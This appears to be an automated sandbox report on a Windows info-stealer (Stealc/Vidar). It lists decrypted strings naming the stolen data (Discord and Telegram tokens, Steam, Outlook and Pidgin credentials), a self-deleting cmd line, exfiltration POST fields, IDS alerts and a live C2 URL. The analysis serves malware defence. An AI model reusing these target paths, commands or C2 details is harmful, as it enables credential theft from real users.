Source: 0.2.file.exe.260000.0.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: - Language:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: All Users:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Current User:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Process List:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.260000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.260000.0.unpack	String decryptor: .exe
Source: 0.2.file.exe.260000.0.unpack	String decryptor: runas
Source: 0.2.file.exe.260000.0.unpack	String decryptor: open
Source: 0.2.file.exe.260000.0.unpack	String decryptor: /c start
Source: 0.2.file.exe.260000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.260000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.260000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.260000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.260000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.260000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.260000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.260000.0.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.260000.0.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.260000.0.unpack	String decryptor: files
Source: 0.2.file.exe.260000.0.unpack	String decryptor: \discord\
Source: 0.2.file.exe.260000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.260000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.260000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.260000.0.unpack	String decryptor: key_datas
Source: 0.2.file.exe.260000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.260000.0.unpack	String decryptor: map*
Source: 0.2.file.exe.260000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.260000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.260000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Telegram
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Tox
Source: 0.2.file.exe.260000.0.unpack	String decryptor: *.tox
Source: 0.2.file.exe.260000.0.unpack	String decryptor: *.ini
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Password
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.260000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.260000.0.unpack	String decryptor: 00000001
Source: 0.2.file.exe.260000.0.unpack	String decryptor: 00000002
Source: 0.2.file.exe.260000.0.unpack	String decryptor: 00000003
Source: 0.2.file.exe.260000.0.unpack	String decryptor: 00000004
Source: 0.2.file.exe.260000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.260000.0.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.260000.0.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.260000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.260000.0.unpack	String decryptor: token:
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.260000.0.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.260000.0.unpack	String decryptor: \config\
Source: 0.2.file.exe.260000.0.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.260000.0.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.260000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.260000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.260000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.260000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.260000.0.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.260000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.260000.0.unpack	String decryptor: browsers
Source: 0.2.file.exe.260000.0.unpack	String decryptor: done
Source: 0.2.file.exe.260000.0.unpack	String decryptor: soft
Source: 0.2.file.exe.260000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.260000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.260000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.260000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.260000.0.unpack	String decryptor: https
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.260000.0.unpack	String decryptor: POST
Source: 0.2.file.exe.260000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.260000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.260000.0.unpack	String decryptor: hwid
Source: 0.2.file.exe.260000.0.unpack	String decryptor: build
Source: 0.2.file.exe.260000.0.unpack	String decryptor: token
Source: 0.2.file.exe.260000.0.unpack	String decryptor: file_name
Source: 0.2.file.exe.260000.0.unpack	String decryptor: file
Source: 0.2.file.exe.260000.0.unpack	String decryptor: message
Source: 0.2.file.exe.260000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.260000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C68A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684440 PK11_PrivDecrypt,	0_2_6C684440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C654420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C654420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6844C0 PK11_PubEncrypt,	0_2_6C6844C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C6D25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C668670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C668670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C68A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C66E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C6AA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C6B0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6843B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C6843B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C6A7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C667D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6ABD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C6ABD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C6A9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C683FF0 PK11_PrivDecryptPKCS1,	0_2_6C683FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C689840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6C689840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C683850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C683850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6ADA40 SEC_PKCS7ContentIsEncrypted,	0_2_6C6ADA40

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49764 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2102619499.000000006F8ED000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000003.1672546233.0000000004BBB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2077275700.000000000028C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2102413263.000000006C821000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000003.1672546233.0000000004BBB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2077275700.000000000028C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2102413263.000000006C821000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2102619499.000000006F8ED000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 17MB later: 40MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 04:52:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 04:52:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 01 Nov 2024 04:52:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 